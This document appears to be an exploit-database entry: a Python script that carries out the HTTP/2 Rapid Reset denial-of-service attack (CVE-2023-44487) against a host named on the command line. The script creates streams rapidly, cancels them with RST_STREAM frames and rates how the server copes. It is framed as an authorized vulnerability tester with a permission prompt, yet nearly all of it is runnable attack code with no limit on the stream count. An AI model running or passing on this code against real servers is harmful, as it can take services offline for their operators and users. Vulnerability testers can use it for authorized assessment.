📄 HTTP/2 2.0 Denial of Service

#!/usr/bin/env python3
    """
    # Exploit Title: HTTP/2 2.0 - Denial Of Service (DOS)
    # Google Dork: -NA-
    # Date: 29th August 2025
    # Exploit Author: Madhusudhan Rajappa
    # Vendor Homepage: -NA-
    # Software Link: -NA-
    # Version: HTTP/2.0
    # Tested on: -NA-
    # CVE : CVE-2023-44487
    """
    
    import asyncio
    import ssl
    import time
    import argparse
    import logging
    from typing import Optional, Tuple
    import statistics
    
    try:
        import h2.connection
        import h2.events
        import h2.exceptions
        import h2.config
    except ImportError:
        print("Error: h2 library not installed. Install with: pip install h2")
        exit(1)
    
    # Configure logging
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )
    logger = logging.getLogger(__name__)
    
    class HTTP2RapidResetTester:
        """Class to test for CVE-2023-44487 HTTP/2 Rapid Reset vulnerability."""
        
        def __init__(self, host: str, port: int = 443, use_ssl: bool = True):
            self.host = host
            self.port = port
            self.use_ssl = use_ssl
            self.connection = None
            self.reader = None
            self.writer = None
            self.response_times = []
            self.errors = []
            self.connection_closed = False
            
        async def connect(self) -> bool:
            """Establish HTTP/2 connection to the target server."""
            try:
                logger.info(f"Connecting to {self.host}:{self.port}")
                
                if self.use_ssl:
                    ssl_context = ssl.create_default_context()
                    ssl_context.set_alpn_protocols(['h2'])
                    self.reader, self.writer = await asyncio.open_connection(
                        self.host, self.port, ssl=ssl_context
                    )
                else:
                    self.reader, self.writer = await asyncio.open_connection(self.host, self.port)
                
                # Initialize HTTP/2 connection
                config = h2.config.H2Configuration(client_side=True)
                self.connection = h2.connection.H2Connection(config=config)
                self.connection.initiate_connection()
                
                # Send connection preface
                await self._send_data(self.connection.data_to_send())
                
                logger.info("HTTP/2 connection established successfully")
                self.connection_closed = False
                return True
                
            except Exception as e:
                logger.error(f"Failed to establish connection: {e}")
                return False
        
        async def _send_data(self, data: bytes):
            """Send data to the server."""
            if data and self.writer and not self.connection_closed:
                try:
                    self.writer.write(data)
                    await self.writer.drain()
                except (ConnectionResetError, BrokenPipeError, OSError) as e:
                    logger.debug(f"Connection error while sending data: {e}")
                    self.connection_closed = True
        
        async def _receive_data(self) -> bytes:
            """Receive data from the server."""
            try:
                if self.connection_closed or not self.reader:
                    return b''
                data = await asyncio.wait_for(self.reader.read(65535), timeout=5.0)
                if not data:
                    self.connection_closed = True
                return data
            except asyncio.TimeoutError:
                return b''
            except (ConnectionResetError, BrokenPipeError, OSError) as e:
                logger.debug(f"Connection error while receiving data: {e}")
                self.connection_closed = True
                return b''
        
        async def rapid_reset_test(self, num_streams: int = 100, delay: float = 0.001) -> dict:
            """
            Perform the rapid reset attack test.
            
            Args:
                num_streams: Number of streams to create and reset
                delay: Delay between stream creations (seconds)
            
            Returns:
                Dictionary with test results
            """
            logger.info(f"Starting rapid reset test with {num_streams} streams")
            
            start_time = time.time()
            created_streams = []
            reset_streams = []
            
            try:
                # Phase 1: Rapidly create streams
                for i in range(num_streams):
                    if self.connection_closed:
                        logger.warning("Connection closed during stream creation")
                        break
                        
                    stream_id = (i * 2) + 1  # Odd numbers for client-initiated streams
                    
                    # Create HTTP/2 headers
                    headers = [
                        (':method', 'GET'),
                        (':path', '/'),
                        (':scheme', 'https' if self.use_ssl else 'http'),
                        (':authority', self.host),
                        ('user-agent', 'CVE-2023-44487-Tester/1.0'),
                    ]
                    
                    try:
                        # Send headers to create stream
                        self.connection.send_headers(stream_id, headers)
                        await self._send_data(self.connection.data_to_send())
                        created_streams.append(stream_id)
                        
                        # Small delay to avoid overwhelming the connection
                        if delay > 0:
                            await asyncio.sleep(delay)
                            
                    except Exception as e:
                        self.errors.append(f"Error creating stream {stream_id}: {e}")
                        if "connection" in str(e).lower():
                            break
                
                logger.info(f"Created {len(created_streams)} streams")
                
                # Phase 2: Rapidly reset all streams
                reset_start = time.time()
                for stream_id in created_streams:
                    if self.connection_closed:
                        logger.warning("Connection closed during stream reset")
                        break
                        
                    try:
                        # Send RST_STREAM frame to cancel the request
                        self.connection.reset_stream(stream_id, error_code=0x8)  # CANCEL error code
                        await self._send_data(self.connection.data_to_send())
                        reset_streams.append(stream_id)
                        
                        if delay > 0:
                            await asyncio.sleep(delay / 10)  # Faster resets
                            
                    except h2.exceptions.StreamClosedError:
                        # Stream already closed, continue
                        pass
                    except Exception as e:
                        self.errors.append(f"Error resetting stream {stream_id}: {e}")
                        if "connection" in str(e).lower():
                            break
                
                reset_duration = time.time() - reset_start
                total_duration = time.time() - start_time
                
                logger.info(f"Reset {len(reset_streams)} streams in {reset_duration:.3f}s")
                
                # Phase 3: Monitor server response
                await self._monitor_server_response(timeout=10.0)
                
                return {
                    'streams_created': len(created_streams),
                    'streams_reset': len(reset_streams),
                    'total_duration': total_duration,
                    'reset_duration': reset_duration,
                    'reset_rate': len(reset_streams) / reset_duration if reset_duration > 0 else 0,
                    'errors': len(self.errors),
                    'response_times': self.response_times.copy(),
                    'avg_response_time': statistics.mean(self.response_times) if self.response_times else 0,
                    'connection_closed': self.connection_closed
                }
                
            except Exception as e:
                logger.error(f"Error during rapid reset test: {e}")
                return {'error': str(e)}
        
        async def _monitor_server_response(self, timeout: float = 10.0):
            """Monitor server responses and measure response times."""
            logger.info("Monitoring server responses...")
            
            end_time = time.time() + timeout
            
            while time.time() < end_time and not self.connection_closed:
                try:
                    start = time.time()
                    data = await self._receive_data()
                    response_time = time.time() - start
                    
                    if data:
                        self.response_times.append(response_time)
                        
                        try:
                            # Process HTTP/2 events
                            events = self.connection.receive_data(data)
                            for event in events:
                                if isinstance(event, h2.events.ResponseReceived):
                                    logger.debug(f"Response received on stream {event.stream_id}")
                                elif isinstance(event, h2.events.StreamReset):
                                    logger.debug(f"Stream {event.stream_id} reset by server")
                                elif isinstance(event, h2.events.ConnectionTerminated):
                                    logger.warning("Server terminated connection")
                                    self.connection_closed = True
                                    return
                        except Exception as e:
                            logger.debug(f"Error processing HTTP/2 events: {e}")
                    
                    await asyncio.sleep(0.1)
                    
                except Exception as e:
                    self.errors.append(f"Error monitoring response: {e}")
                    break
        
        async def baseline_test(self, num_requests: int = 10) -> dict:
            """Perform baseline test with normal HTTP/2 requests."""
            logger.info(f"Performing baseline test with {num_requests} normal requests")
            
            start_time = time.time()
            successful_requests = 0
            
            for i in range(num_requests):
                if self.connection_closed:
                    logger.warning("Connection closed during baseline test")
                    break
                    
                stream_id = (i * 2) + 1
                
                headers = [
                    (':method', 'GET'),
                    (':path', '/'),
                    (':scheme', 'https' if self.use_ssl else 'http'),
                    (':authority', self.host),
                    ('user-agent', 'CVE-2023-44487-Baseline/1.0'),
                ]
                
                try:
                    request_start = time.time()
                    self.connection.send_headers(stream_id, headers)
                    self.connection.end_stream(stream_id)
                    await self._send_data(self.connection.data_to_send())
                    
                    # Wait for response
                    try:
                        data = await asyncio.wait_for(self._receive_data(), timeout=5.0)
                        if data:
                            self.response_times.append(time.time() - request_start)
                            successful_requests += 1
                    except asyncio.TimeoutError:
                        logger.warning(f"Timeout waiting for response to request {i+1}")
                    
                    await asyncio.sleep(0.1)  # Small delay between requests
                    
                except Exception as e:
                    logger.warning(f"Error in baseline request {i+1}: {e}")
                    if "connection" in str(e).lower():
                        break
            
            total_duration = time.time() - start_time
            
            return {
                'total_requests': num_requests,
                'successful_requests': successful_requests,
                'total_duration': total_duration,
                'avg_response_time': statistics.mean(self.response_times) if self.response_times else 0,
                'success_rate': successful_requests / num_requests if num_requests > 0 else 0
            }
        
        async def close(self):
            """Close the connection gracefully."""
            if self.writer and not self.connection_closed:
                try:
                    # Try to close the connection gracefully
                    if self.connection:
                        try:
                            # Send GOAWAY frame if possible
                            self.connection.close_connection()
                            await self._send_data(self.connection.data_to_send())
                        except Exception as e:
                            logger.debug(f"Error sending GOAWAY frame: {e}")
                    
                    # Close the writer
                    self.writer.close()
                    
                    # Wait for close with timeout to avoid hanging
                    try:
                        await asyncio.wait_for(self.writer.wait_closed(), timeout=2.0)
                    except asyncio.TimeoutError:
                        logger.debug("Timeout waiting for connection to close")
                    except (ConnectionResetError, BrokenPipeError, OSError):
                        # Connection already closed by peer, this is expected
                        pass
                        
                except Exception as e:
                    logger.debug(f"Error during connection cleanup: {e}")
                finally:
                    self.connection_closed = True
    
    async def main():
        parser = argparse.ArgumentParser(
            description='CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester',
            epilog='WARNING: Only use on systems you own or have permission to test!'
        )
        parser.add_argument('host', help='Target hostname')
        parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)')
        parser.add_argument('--no-ssl', action='store_true', help='Disable SSL/TLS')
        parser.add_argument('-s', '--streams', type=int, default=100, 
                           help='Number of streams for rapid reset test (default: 100)')
        parser.add_argument('-d', '--delay', type=float, default=0.001,
                           help='Delay between stream operations (default: 0.001s)')
        parser.add_argument('--baseline-only', action='store_true',
                           help='Only perform baseline test')
        parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
        
        args = parser.parse_args()
        
        if args.verbose:
            logging.getLogger().setLevel(logging.DEBUG)
        
        print("=" * 60)
        print("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester")
        print("=" * 60)
        print(f"Target: {args.host}:{args.port}")
        print(f"SSL: {'Enabled' if not args.no_ssl else 'Disabled'}")
        print()
        
        # Legal disclaimer
        print("LEGAL DISCLAIMER:")
        print("This tool is for authorized security testing only.")
        print("Ensure you have permission to test the target system.")
        print("Unauthorized use may be illegal.")
        print()
        
        response = input("Do you have permission to test this system? (yes/no): ")
        if response.lower() != 'yes':
            print("Exiting. Only use this tool on systems you're authorized to test.")
            return
        
        tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl)
        
        try:
            # Connect to target
            if not await tester.connect():
                logger.error("Failed to establish connection. Exiting.")
                return
            
            # Perform baseline test
            print("\n" + "="*40)
            print("BASELINE TEST")
            print("="*40)
            baseline_results = await tester.baseline_test()
            
            print(f"Baseline Results:")
            print(f"  Total Requests: {baseline_results['total_requests']}")
            print(f"  Successful: {baseline_results['successful_requests']}")
            print(f"  Success Rate: {baseline_results['success_rate']:.2%}")
            print(f"  Avg Response Time: {baseline_results['avg_response_time']:.3f}s")
            print(f"  Total Duration: {baseline_results['total_duration']:.3f}s")
            
            if not args.baseline_only:
                # Reset connection for rapid reset test
                await tester.close()
                tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl)
                
                if not await tester.connect():
                    logger.error("Failed to re-establish connection for rapid reset test.")
                    return
                
                # Perform rapid reset test
                print("\n" + "="*40)
                print("RAPID RESET TEST (CVE-2023-44487)")
                print("="*40)
                print(f"Testing with {args.streams} streams...")
                
                rapid_results = await tester.rapid_reset_test(args.streams, args.delay)
                
                if 'error' in rapid_results:
                    print(f"Test failed: {rapid_results['error']}")
                else:
                    print(f"Rapid Reset Results:")
                    print(f"  Streams Created: {rapid_results['streams_created']}")
                    print(f"  Streams Reset: {rapid_results['streams_reset']}")
                    print(f"  Reset Rate: {rapid_results['reset_rate']:.1f} resets/second")
                    print(f"  Total Duration: {rapid_results['total_duration']:.3f}s")
                    print(f"  Reset Duration: {rapid_results['reset_duration']:.3f}s")
                    print(f"  Errors: {rapid_results['errors']}")
                    print(f"  Avg Response Time: {rapid_results['avg_response_time']:.3f}s")
                    
                    if rapid_results.get('connection_closed'):
                        print(f"  Connection Status: Server closed connection during test")
                    
                    # Analysis
                    print("\n" + "="*40)
                    print("VULNERABILITY ANALYSIS")
                    print("="*40)
                    
                    if rapid_results.get('connection_closed'):
                        print("Server closed connection during rapid reset test")
                        print("   This could indicate protective measures or resource exhaustion.")
                    
                    if rapid_results['streams_reset'] < rapid_results['streams_created'] * 0.8:
                        print("WARNING: Server may have rejected many reset requests")
                        print("   This could indicate protective measures are in place.")
                    
                    if rapid_results['reset_rate'] > 1000:
                        print("HIGH RISK: Server accepts very high reset rates")
                        print("   This may indicate vulnerability to CVE-2023-44487")
                    
                    elif rapid_results['reset_rate'] > 100:
                        print("MEDIUM RISK: Server accepts moderate reset rates")
                        print("   Further testing may be needed")
                    
                    else:
                        print("LOWER RISK: Server has rate limiting on resets")
                        print("   This suggests some protection against the vulnerability")
                    
                    if len(tester.errors) > rapid_results['streams_created'] * 0.1:
                        print("Many errors occurred during testing")
                        print("   Results may not be reliable")
            
        except KeyboardInterrupt:
            print("\nTest interrupted by user")
        except Exception as e:
            logger.error(f"Unexpected error: {e}")
        finally:
            try:
                await tester.close()
            except Exception as e:
                logger.debug(f"Error during final cleanup: {e}")
            print("\nTest completed.")
    
    if __name__ == "__main__":
        print("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester")
        print("Requires: pip install h2")
        print()
        
        try:
            asyncio.run(main())
        except KeyboardInterrupt:
            print("\nExiting...")
        except Exception as e:
            logger.error(f"Fatal error: {e}")